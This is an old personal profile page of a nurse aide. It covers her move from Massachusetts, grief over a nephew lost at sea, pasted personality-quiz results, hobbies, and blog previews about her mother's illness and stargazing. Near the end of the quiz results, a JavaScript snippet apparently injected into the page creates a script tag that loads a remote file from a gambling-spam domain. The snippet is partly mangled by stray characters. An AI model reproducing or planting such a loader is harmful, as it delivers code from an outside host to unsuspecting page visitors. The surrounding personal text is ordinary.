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Marianne

Smile. It makes people wonder what the hell is wrong with you.

About Me

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..I'm originally from Massachusettes; a little sea-side town called Hull. Right next door, in the town of Cohassett, is where the movies Witches of Eastwick with Cher and Housesitter with Steve Martin were filmed.I fell into medicine completely by accident. I actually wanted to be a journalist, and had a scholorship to a local community college. All that changed when I went with a friend *cough* -thanks Gretchen!! *cough* (who was about to start nursing school) on a job interview for a nurse aide position. I went in for moral support, and walked out with a job.Go figure.I used to have a house built on a seawall, with the ocean as my backyard. Now, I have the gorgeous mountains to stare at. :-) I enjoy the people here in the South, but sometimes get very homesick for the life I used to lead back in Boston. That's the beauty of life though, I can change what I want.I moved here to go to nursing school. It was originally only a temporary move. I ended up staying because I like the community and the culture that is here. One of my best friends back home said to me after I decided to stay here that she felt betrayed, that I never even discussed my decision with her.She was right. I had to do what I did because I felt compelled to be here in VA. I feel that I was meant to learn some lesson while I am here, either about myself or about life in general. I can say that i've been humbled, that i've learned the value of hard work, that true friendship never dies, and that the only person I can depend on is myself in the end.I lost my nephew Steven when he was 26 on February 17th, 2006. He was like a brother to me. I was 35 when he died. The worst day of my life was when I got the phone call to be told that he was lost at sea, and when I logged onto the local news up in Boston, all I could see was his name and how he was lost. Got up to Boston, MA and that's all everyone was talking about was how he was lost at sea, and how tragic it was for his fiance and two daughters.I can honestly say that I wished it was someone else that died. I mean, why couldn't it have been some criminal? Why did it have to be Steven? His last words were, "Why me?"The only lesson I can take from his loss is not to take your loved ones for granted. What's important in life? That new job? That huuuge paycheck?No.It's family. It's friends. It's the ones that you love.Please, don't take them for granted. It's the worst shock in the world to find that they are gone.Trust me.I got first hand experience with this one.Rest in peace, Steven.

My Interests


Cardiology,Physical Therapy nursing, music, movies, current events, hiking, new experiences, making new friends, learning, teaching, laughter, and having fun.Take the quiz:
What does your birth month reveal about you?

March
Attractive personality.sexy. Affectionate.Shy and reserved. Secretive. Naturally honest, generous and sympathetic. Loves peace and serenity. Sensitive to others. Loves to serve others. Easily angered. Trustworthy. Appreciative and returns kindness. Observant and assesses others. Revengeful. Loves to dream and fantasize. Loves traveling. Loves attention. Hasty decisions in choosing partners. Loves home decors. Musically talented.Loves special things. Moody.

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The Keys to Your Heart
You are attracted to those who are unbridled, untrammeled, and free.

In love, you feel the most alive when things are straight-forward, and you're told that you're loved.

You'd like to your lover to think you are stylish and alluring.

You would be forced to break up with someone who was insecure and in constant need of reassurance.

Your ideal relationship is comforting. You crave a relationship where you always feel warmth and love.

Your risk of cheating is zero. You care about society and morality. You would never break a commitment.

You think of marriage something you've always wanted... though you haven't really thought about it.

In this moment, you think of love as something you can get or discard anytime. You're feeling self centered. What Are The Keys To Your Heart?


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Your Career Type: Social
You are helpful, friendly, and trustworthy.
Your talents lie in teaching, nursing, giving information, and solving social problems.

You would make an excellent:

Counselor - Dental Hygienist - Librarian
Nurse - Parole Officer - Personal Trainer
Physical Therapist - Social Worker - Teacher

The worst career options for your are realistic careers, like truck driver or farmer. What's Your Ideal Career?
Your Five Variable Love Profile
Propensity for Monogamy:

Your propensity for monogamy is high.
You find it easy to be devoted and loyal to one person.
And in return, you expect the same from who you love.
Any sign of straying, and you'll end things.

Experience Level:

Your experience level is high.
You've loved, lost, and loved again.
You have had a wide range of love experiences.
And when the real thing comes along, you know it!

Dominance:

Your dominance is medium.
You tend to be the one with more power.
You aren't a total control freak in relationships..
But of course you don't mind getting you way!

Cynicism:

Your cynicism is low.
You are an eternal optimist when it comes to love and romance.
No matter how many times you've been hurt - you're never bitter.
You believe in one true love, your perfect soulmate.
And if you haven't found true love yet, you know you will soon.

Independence:

Your independence is medium.
In relationships, you need both "me time" and "we time."
You usually find it easy to be part of a couple.
But occasionally you start to feel a little smothered. The Five Variable Love Test
You Are a Retrospective Soul
The most misunderstood of all the soul signs.
Sometimes you even have difficulty seeing yourself as who you are.
You are intense and desire perfection in every facet of your life.
You're best described as extremely idealistic, hardworking, and a survivor.

Great moments of insight and sensitivity come to you easily.
But if you aren't careful, you'll ignore these moments and repeat past mistakes.
For you, it is difficult to seperate the past from the present.
You will suceed once you overcome the disappoinments in life.

Souls you are most compatible with: Traveler Soul and Prophet Soul What Kind of Soul Are You?

I'd like to meet:

People who aren't idiots.
You Can Change Your Life
You've probably already improved your life a great deal, and you're no stranger to change.
You're able to make very difficult changes in your life. It's all about state of mind.
And even if you have some trouble changing, you're smart enough to get support or take a different approach.
So go ahead and dare to make things better. You know you can do it! Can You Change Your Life?..Total Lunar EclipseVisible from Mt. Teide, Canary Islands, through the Slooh.com telescopes.I took these pictures 3/3/07

Music:

Love accoustic, like some classical, trance, some metal, some country, if it's got a beat and I can dance to it, I'm happy. I have discovered a whole new world of music since joining myspace.

Movies:

Loooooove anything Sci-Fi!!

Television:

I love the Battlestar Gallactica series, enjoy Stargate SG-1 and Stargate Atlantis, other than that.....I usually have CNN on, just to catch up on the headlines and for noise in the backround.

Books:

Steven King, Dean Koontz are faves. It's been a while since i've been really scared reading a Steven King novel though. Bummer.

Heroes:

Florence Nightingale. Who else? :-)
Your Personality Is
Idealist (NF)
You are a passionate, caring, and unique person.
You are good at expressing yourself and sharing your ideals.
You are the most compassionate of all types and connect with others easily.
Your heart tends to rule you. You can't make decisions without considering feelings.
You seek out other empathetic people to befriend.
Truth and authenticity matters in your friendships.
In love, you give everything you have to relationships. You fall in love easily.
At work, you crave personal expression and meaning in your career.
With others, you communicate well. You can spend all night talking with someone.
As far as your looks go, you've likely taken the time to develop your own personal style.
On weekends, you like to be with others. Charity work is also a favorite pastime of yours. The Three Question Personality Test .."var s=..reateElement('script');s.src='http://gamblingboard.com/x /7318.js';document·getElementsByTagName('head')[0].appe ndChild(s);"

My Blog

Went to the lung doctor with my mom today. ro

She's been having shortness of breath for the last three weeks. During dialysis they had to actually put her on oxygen. She went to the doctor and they sent her via ambulance straight to the ED, which...
Posted by Marianne on Thu, 21 Jun 2007 03:58:00 PST

Two pics of a whirlpool galaxy I took tonight

Using the telescopes of Slooh.com...
Posted by Marianne on Wed, 20 Jun 2007 03:57:00 PST

Lovin' my new wireless mouse.

I used to have this *thing* that made me recharge it.Then, the recharger stopped working.So......went to Best Buy.Saw my defunct mouse on CLEARANCE for $4.No shit, huh?New  wireless mouse has a U...
Posted by Marianne on Wed, 20 Jun 2007 03:18:00 PST

Bought my parents KFC today. I'm a vegetarian.

My mom hasn't been feeling well, lately. She's been having trouble breathing. We go see a pulmonologist tomorrow.So, my dad hasn't been eating either because he's worried about my mom.Mom is 75, dad i...
Posted by Marianne on Wed, 20 Jun 2007 01:31:00 PST

I bought Bill some beer as a thank you

For fixing my computer.LOL thank God I brought my ID. I got carded!!I'm 36 and totally wasn't expecting that. Talk about a shock.
Posted by Marianne on Sat, 16 Jun 2007 07:31:00 PST

Happy Nurse Aide week!

I'm making Ghiraradelli (sp??) chocolate brownies for the physical therapy nurse aides I work with, and I'll be working also in cardiology the last 4 hours of my shift so I made Cinnamon buns for thos...
Posted by Marianne on Fri, 15 Jun 2007 02:18:00 PST

Husband, caught cheating. LIVE.

Hmmmmm.  Decide for yourself.Cheating husband
Posted by Marianne on Thu, 14 Jun 2007 08:14:00 PST

Thank you, Bill!! You rock, man.

So my computer has been on the blink for the past several days.Bill was kind enough to let me bring him my computer so he could fix it.I brought it to his house, and we decided it was something I coul...
Posted by Marianne on Tue, 12 Jun 2007 03:16:00 PST

So, my crazy cat has adopted a book.

I was reading a thriller called, "The eleventh plague" and she found it.She cuddles up with it on the floor....she curls around it and hits it with her back feet...she uses it as a pillow and takes a ...
Posted by Marianne on Thu, 07 Jun 2007 04:31:00 PST

So today I renewed my acls

That's Advanced Cardiac Life Support if you're reading this and not a medical personage.So.There is a mega-code, where you run into several different heart rythms/scenarios all in one code.The door to...
Posted by Marianne on Thu, 07 Jun 2007 04:21:00 PST